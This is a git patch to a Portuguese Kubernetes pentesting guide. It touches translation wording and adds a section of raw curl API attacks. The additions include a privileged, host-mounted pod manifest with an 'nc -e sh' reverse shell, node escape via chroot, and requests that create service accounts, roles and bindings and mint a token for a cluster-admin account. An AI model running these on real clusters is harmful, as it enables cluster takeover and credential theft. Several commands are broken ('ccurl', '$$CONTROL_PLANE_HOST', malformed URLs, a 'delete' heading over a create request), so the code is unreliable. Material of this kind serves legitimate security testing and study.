From d933413e71c24a5028cb113a7fffacb3665df2e7 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 09:51:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera --- src/SUMMARY.md | 14 +- .../kubernetes-enumeration.md | 228 +++++++++++++++++- 2 files changed, 226 insertions(+), 16 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 7ab73713c..6172b28d3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -451,8 +451,8 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -462,16 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) - - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index a8bfd9db0..afd28dcff 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,7 +4,7 @@ ## Kubernetes Tokens -Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela **env var `KUBECONFIG`** ou **dentro de `~/.kube`**. +Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela **variável de ambiente `KUBECONFIG`** ou **dentro de `~/.kube`**. Nesta pasta, você pode encontrar arquivos de configuração com **tokens e configurações para se conectar ao servidor API**. Nesta pasta, você também pode encontrar uma pasta de cache com informações previamente recuperadas. @@ -68,7 +68,7 @@ Para enumerar um ambiente K8s, você precisa de alguns itens: Com esses detalhes, você pode **enumerar o Kubernetes**. Se a **API** por algum motivo for **acessível** através da **Internet**, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host. -No entanto, geralmente o **servidor API está dentro de uma rede interna**, portanto, você precisará **criar um túnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode **fazer upload do** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binário, ou usar **`curl/wget/qualquer coisa`** para realizar solicitações HTTP brutas ao servidor API. +No entanto, geralmente o **servidor API está dentro de uma rede interna**, portanto, você precisará **criar um túnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode **fazer o upload do** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binário, ou usar **`curl/wget/qualquer coisa`** para realizar requisições HTTP brutas ao servidor API. ### Differences between `list` and `get` verbs @@ -76,7 +76,7 @@ Com permissões **`get`**, você pode acessar informações de ativos específic ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Se você tiver a permissão **`list`**, você está autorizado a executar solicitações de API para listar um tipo de ativo (_opção `get` no `kubectl`_): +Se você tiver a permissão **`list`**, você está autorizado a executar solicitações de API para listar um tipo de ativo (_opção `get` em `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -121,7 +121,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls- ``` > se não houver `https://` na URL, você pode receber um erro como Bad Request. -Você pode encontrar um [**cheatsheet oficial do kubectl aqui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). O objetivo das seções a seguir é apresentar de forma ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso. +Você pode encontrar um [**cheatsheet oficial do kubectl aqui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). O objetivo das seções a seguir é apresentar de maneira ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso. Para encontrar a solicitação HTTP que o `kubectl` envia, você pode usar o parâmetro `-v=8` @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Se você conseguiu roubar as credenciais de alguns usuários, você pode **configurá-las localmente** usando algo como: +Se você conseguiu roubar as credenciais de alguns usuários, pode **configurá-las localmente** usando algo como: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f ``` ### Obter Contas de Serviço -Como discutido no início desta página, **quando um pod é executado, uma conta de serviço é geralmente atribuída a ele**. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário escale privilégios. +Como discutido no início desta página, **quando um pod é executado, uma conta de serviço é geralmente atribuída a ele**. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário eleve privilégios. {{#tabs }} {{#tab name="kubectl" }} @@ -309,7 +309,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//deployments/ ### Obter Pods -Os Pods são os **containers** que irão **executar**. +Os Pods são os **contêineres** que irão **executar**. {{#tabs }} {{#tab name="kubectl" }} @@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Obter Serviços -Os **serviços** do Kubernetes são usados para **expor um serviço em uma porta e IP específicos** (que atuará como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar. +Os **serviços** do Kubernetes são usados para **expor um serviço em uma porta e IP específicos** (que atuarão como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar. {{#tabs }} {{#tab name="kubectl" }} @@ -459,6 +459,10 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## Interagindo com o cluster sem usar kubectl + +Visto que o plano de controle do Kubernetes expõe uma API RESTful, você pode criar manualmente requisições HTTP e enviá-las com outras ferramentas, como **curl** ou **wget**. + ### Escapando do pod Se você conseguir criar novos pods, pode ser capaz de escapar deles para o nó. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e, em seguida, chroot no sistema do nó. Você pode usar pods já existentes como referência para o arquivo yaml, uma vez que eles exibem imagens e caminhos existentes. @@ -469,7 +473,7 @@ kubectl get pod [-n ] -o yaml > > `k get nodes --show-labels` > -> Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons rótulos para seleção. +> Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons rótulos para selecionar. Então você cria seu arquivo attack.yaml ```yaml @@ -515,6 +519,212 @@ chroot /root /bin/bash ``` Informações obtidas de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Criando um pod privilegiado + +O arquivo yaml correspondente é o seguinte: +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: everything-allowed-exec-pod +labels: +app: pentest +spec: +hostNetwork: true +hostPID: true +hostIPC: true +containers: +- name: everything-allowed-pod +image: alpine +securityContext: +privileged: true +volumeMounts: +- mountPath: /host +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "nc -e sh" ] +#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +volumes: +- name: noderoot +hostPath: +path: / +``` +Crie o pod com curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 478' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Delete um pod + +Delete um pod com curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` +### Criar uma Conta de Serviço +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Length: 109' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Excluir uma Conta de Serviço +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` +### Criar um Papel +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 203' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Excluir um Papel +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` +### Criar um Binding de Papel +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 816' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Excluir um Binding de Papel +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` +### Excluir um Segredo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 219' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Excluir um Segredo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` ## Referências {{#ref}}